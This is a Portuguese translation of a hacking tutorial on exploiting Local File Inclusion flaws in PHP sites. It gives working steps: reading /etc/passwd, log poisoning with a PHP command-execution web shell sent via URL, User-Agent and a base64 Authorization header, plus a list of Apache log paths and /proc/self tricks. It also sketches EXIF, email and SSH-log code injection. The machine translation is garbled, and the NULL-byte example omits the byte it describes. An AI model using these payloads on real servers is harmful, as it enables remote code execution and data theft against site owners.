LFI (local File Inclusion) Injection pentesting TUTORIAL

Originalmente escrito por: "Fredrik Nordberg Almroth"

Inclusão Arquivo Local

Como o título diz, este é um guia descritivo e "short" sobre

vários métodos para explorar usando uma inclusão de arquivos local (LFI).

Vou cobrir os seguintes tópicos:

• Bytes Veneno NULL

• Intoxicação Log

• / proc / self /

• Intoxicação Log Alternativa

• envio de imagens suspeito

• A injeção de código com o uso de e-mails

• Criatividade

Por: Fredrik Nordberg Almroth

Então a pergunta é. O que é um LFI?

A LFI é, como o título diz,

um método para servidores / scripts para incluir arquivos locais no tempo de execução,

a fim de tornar complexos sistemas de chamadas de procedimento.

Bem, a maioria das vezes, você encontrar as vulnerabilidades LFI em URL do

das páginas da web.

Principalmente porque os desenvolvedores tendem a gostar de o uso de requisições GET

quando incluindo páginas.

Nada mais. Nada menos.

Então, agora, vamos continuar vamos?

Como você encontrar (impressão digital) eles?

Vamos dizer que você encontrar a seguinte URL:

Code:

http://site.com/this/exploit/do.php?

not=exist.php&for=real

Nota, que esta vai para o URL do.php que é um sub-domínio de

site.com.

Ele tem vários parâmetros para o do.php interno para interpretar, a

não e para a variável.

Vamos estudá-los um pouco mais.

A não variável contém o valor de "exist.php", eo de

variável contém "real".

Agora descobriu-se bastante óbvio, não é?

A variável não parecem tomar outro arquivo PHP como um argumento,

mais possivelmente para inclusão!

Viva!

Vamos tentar brincar com ele!

O que agora?

Vamos tentar mexer com o URL para ver o que podemos fazer com ele.

Vamos mudar o conteúdo da variável para não "/ etc / passwd" e

ver o que acontece.

É claro que você pode alterar o / etc / passwd para qualquer outro arquivo do seu

escolha, mas vamos ficar com ela por todo este tutorial.

Code:

http://site.com/this/exploit/do.php?

not=/etc/passwd&for=real

Vamos conferir o resultado!

Se você obter um resultado procurando algo parecido com isto:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
test:x:13:30:test:/var/test:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin

Então, senhor. Você já fez isso corretamente. Você encontrou um LFI

vulnerabilidade!

O arquivo / etc / passwd é lido por todos em sistemas * NIX.

Isso significa que você pode, por uma chance de 99%, lê-lo.

A menos que alguém mudaram permissões ou trocar o

configuração open_basedir.

Mas, mais do que alguma outra vez!

Agora vamos tentar um outro cenário.

Digamos que o programador do site codificado como este:

Code:

<?php “include/”.include($_GET['for'].“.php”); ?>




Como poderíamos fazer, então? Não podemos ler / etc / passwd porque o script

Php anexa ao fim do ficheiro.

O que fazer, o que fazer ...

Alegremente para você, não há outro truque aqui.

Veneno NULL Byte.

O byte NULL, é um byte especial usado em todo o fundo

do seu computador (ou seus alvos).

É a representação binária: 00000000.

Sim. 8 zeros em binário, ou a representação hexadecimal

0x00.

Certo ...

Um dos usos deste byte especial é encerrar strings.

Se você tiver sido programação por um tempo, você deve saber o que é um

string é.

Uma quantidade de texto! Ok, isso soa complexo agora.

Mas esse método é realmente muito simples.

Para ignorar a concatenação .php, nós simplesmente anexar após a nossa

nome do arquivo.

Code:

http://site.com/this/exploit/do.php?for=/etc/passwd

E espero que, o resultado é mais uma vez:

root:x:0:0:root:/root:/bin/bash (…)




Awesome, agora podemos ler qualquer arquivo no servidor (com o

privilégios da conta no servidor temos agora obtidos)!

Agora você pode perguntar: como é que podemos executar código por isso?

A resposta é ...

Log intoxicação:

Dizer que estamos explorando um servidor Apache normal de planície.

Por padrão, ele cria dois arquivos de log chamado access_log e

error_log no servidor.

Se mexer esses logs podemos fazer upload com sucesso nossa própria PHP

código no servidor, o que pode dar-lhe a execução do comando remoto

se quiser, a escolha é sua.

A pergunta é: onde estão os logs são armazenados?

Alegremente para você, eu compilei uma lista pequena.

Aqui você vai:

Code:

/etc/httpd/logs/access.log

/etc/httpd/logs/access_log

/etc/httpd/logs/error.log

/etc/httpd/logs/error_log

/opt/lampp/logs/access_log

/opt/lampp/logs/error_log

/usr/local/apache/log

/usr/local/apache/logs

/usr/local/apache/logs/access.log

/usr/local/apache/logs/access_log

/usr/local/apache/logs/error.log

/usr/local/apache/logs/error_log

/usr/local/etc/httpd/logs/access_log

/usr/local/etc/httpd/logs/error_log

/usr/local/www/logs/thttpd_log

/var/apache/logs/access_log

/var/apache/logs/error_log

/var/log/apache/access.log

/var/log/apache/error.log

/var/log/apache-ssl/access.log

/var/log/apache-ssl/error.log

/var/log/httpd/access_log

/var/log/httpd/error_log

/var/log/httpsd/ssl.access_log

/var/log/httpsd/ssl_log

/var/log/thttpd_log

/var/www/log/access_log

/var/www/log/error_log

/var/www/logs/access.log

/var/www/logs/access_log

/var/www/logs/error.log

/var/www/logs/error_log

C:\apache\logs\access.log

C:\apache\logs\error.log

C:\Program Files\Apache Group\Apache\logs\access.log

C:\Program Files\Apache Group\Apache\logs\error.log

C:\program files\wamp\apache2\logs

C:\wamp\apache2\logs

C:\wamp\logs

C:\xampp\apache\logs\access.log

C:\xampp\apache\logs\error.log

Agora, há dois bons métodos para prosseguir, em função dos quais

log que você escolher.

O melhor (na minha opinião) é acessando o error_log.

Este método é um pouco fora da caixa.

Digamos que você encontrar um LFI neste servidor, por simples indo para esta URL,

Código PHP serão salvos no error_log:

Code:

http://site.com/<?PHP+$s=$_GET;@chdir($s['x']);echo@system($s['y'])?>




Now try to reach it by going here:

Code:

http://site.com/this/exploit/do.php?for=/var/log/apache/logs/error_log&x=/&y=uname




Se o resultado diz algo como Linux, então o seu execução de código

foi bem sucedida.

Yeah yeah, você começa o ponto. Ela fica armazenada no error_log

porque a

Code:

<?PHP $s=$_GET;@chdir($s['x']);echo@system($s['y'])?>

arquivo não existem.

Método # 2; acessando o access_log. É um pouco mais

complicado, a melhor maneira de fazer isso é colocar o código PHP em sua

user-agent.

Há um ótimo plug-in para o Firefox chamado "User Agent Switcher"

para fazer isso em tempo real.

Fora isso, é a mesma coisa.

Vá para:

código:

http://site.com/

Ou qualquer outro arquivo acessível no servidor, com o seu agente de usuário

falsificado no seu trecho de PHP.

Então vá para o access_log, a fim de executar o código; por exemplo:

Code:

http://site.com/this/exploit/do.php?for=/var/log/apache/logs/access_log&x=/&y=<<command goes here>>




Sim, com certeza, você é tão legal, você pode executar o seu próprio código! Agora, vamos ser hardcore.

/ Proc / self:

O kernel Linux é fascinante.

Eu não tenho certeza se você já ouviu isso, mas o / proc / self é um link simbólico (symlink) indo para a instância da meta HTTP

servidor.

Há várias coisas que você pode fazer usando este link, um é

fazer o access_log-método, simplesmente spoofing seu agente de usuário para

Código PHP, em seguida, tentar incluir

o / proc / self / Environ.

Todo mundo sabe que esses dias.

Isso não é divertido. No entanto o seu código será executado!

Vamos seguir em frente para mais ... métodos pouco frequentes.

Você pode obter o arquivo de configuração do HTTP, simplesmente tentando

include / proc / self / cmdline,

porque a maioria das vezes o arquivo de configuração é definida por uma linha de comando

argumento,

um simples, mas um "recurso" cool, nada malicioso aqui, isso é

apenas a forma como ele funciona.

O que você escolhe para fazer com o arquivo de configuração é com você.

A localização (s) do arquivo de log tendem a estar lá ...

Você tem o aperto agora, eu só vou continuar escrevendo.

Existe ainda uma outra maneira de resolver os log-arquivos usando este

vincular, por simplesmente ir à descrição do arquivo de log (o

executando stream).

Handy?

• Sim

Não há necessidade de que você execute um dicionário-ataque, a fim de resolver o

diferentes log-arquivos ou para incluir o / proc / self / cmdline.

Agora, como é que vamos acessar essas descrições de arquivo?

Bem, senhor, o / proc / self tendem a ter uma pasta (?) Chamado fd.

Você adivinhou certo.

fd fazer stand para a descrição de arquivo.

O conteúdo dentro fd é numérico ID vai abrir diferente

arquivos.

Assim, a maneira mais fácil para nós encontrar seja, é simplesmente uma iteração nosso caminho

através dos.

Code:

http://site.com/this/exploit/do.php?for=/proc/self/fd/0

http://site.com/this/exploit/do.php?

for=/proc/self/fd/1

http://site.com/this/exploit/do.php?

for=/proc/self/fd/2

…

http://site.com/this/exploit/do.ph p ?

for=/proc/self/fd/N

Cedo ou tarde, você vai encontrar um dos log-arquivos.

Ao fazer isso você só ir com o access_log ou o error_log

método (s).

Agora a sério. Alguma vez você já teve algum sucesso com o ordinário

"Log envenenamento" métodos?

Quero dizer, como em 95% dos casos os seus pedidos fica URI codificados,

e por que estragar seu código.

Então, aqui vem um método alternativo:

Intoxicação Log Alternativa:

Apache tem a tendência de fazer login o usuário autorizado se houver é

especificada.

O cabeçalho de autorização é uma parte do protocolo HTTP, eu aposto

você já viu isso.

Ele cria um prompt pedindo um nome de usuário e senha como htaccess

fazer quando você tenta alcançar uma pasta protegida.

Internet Explorer faz um prompt parecido com isto:

Sim, bem. Os base64 usuário e senha é enviada codificada

com: como um separador.

E como você deve ter percebido, os base64 não vai conseguir URIencoded!

Então, pelo fornecimento do cabeçalho no seu pedido HTTP:

Autorização: Básico

PD9QSFAgJHM9JF9HRVQ7QGNoZGlyKCRzWyd4J10pO2VjaG9Ac3lzdGVtKCRzWyd5J1

0pPz46

O código vai ficar intocada, e simplesmente não embalada pelo Apache

direto para os logs.

A base 64 é a pequena carga útil PHP eu usei anteriormente,

apenas com um: no final, a seguir o HTTP RFC do.

Agora, quando estamos no a ele, explorando através de diferentes métodos e

stuff.

Por que não explorar LFI com um JPG?

Suspeito de upload de imagem:

Sim, você me ouviu. Você pode usar uma imagem, a fim de executar um código

através da utilização de uma vulnerabilidade LFI.

No entanto, você precisa de um software especial para fazer isso para você.

O ataque consiste em mudar os dados EXIF ​​da imagem de sua

escolher.

Digamos que você está explorando uma comunidade, que permite o upload de imagens, por

vamos dizer, o seu avatar.

Por adulteração dos dados EXIF ​​e por encontrar um LFI

você pode assumir o controle total! Legal né?

Os dados EXIF ​​tendem a manter o modelo da câmera, ano, local,

localização, etc ... Quando a imagem foi capturada, mas, como foi provado antes,

é bastante fácil de adulterar.

A injeção de código com o uso de e-mails:

Digamos que seu servidor de destino tem porta 109 ou 110 open (POP2 ou POP3) para

manipulação de e-mails.

Você pode enviar um e-mail para o servidor HTTP-usuário na caixa de destino.

Like: apache@site.com

E, em seguida, tentar incluir o / var / spool / mail / apache se isso existe.

É possível executar esta através bem.

No entanto, não é muito comum encontrar este específico explorar.

É claro que o e-mail que você envia conterá o código PHP para você

executar.

Há centenas literárias de maneiras de realizar este ataque

dependendo do correio-server running back-end.

Qmail, por exemplo, armazena os e-mails recebidos em / var / log / maillog

por padrão, mas como já foi dito antes, este é pensar fora da

caixa.

Criatividade:

Por que parar aqui?

Tenho certeza que o kernel do Linux, IRIX, AIM, Windows, SunOS, BSD e

outros OS'es proporciona ainda mais interessante explorar cenários.

Será que eles têm SSH aberta?

Se assim for, tentar injetar código PHP como o nome de usuário SSH e ir pegar o

Log SSH.

Será que vai funcionar? Talvez?

Pode a incorporação de conteúdos maliciosos como o campo JPG EXIF ​​ser

feita dentro de um arquivo MP3?

Tente você mesmo. Seja criativo.

 Traduzido por Yahoo Hacking Br

Matéria Original 

http://ethicalleets.blogspot.com.br/2012/08/lfi-local-file-inclusion-injection.html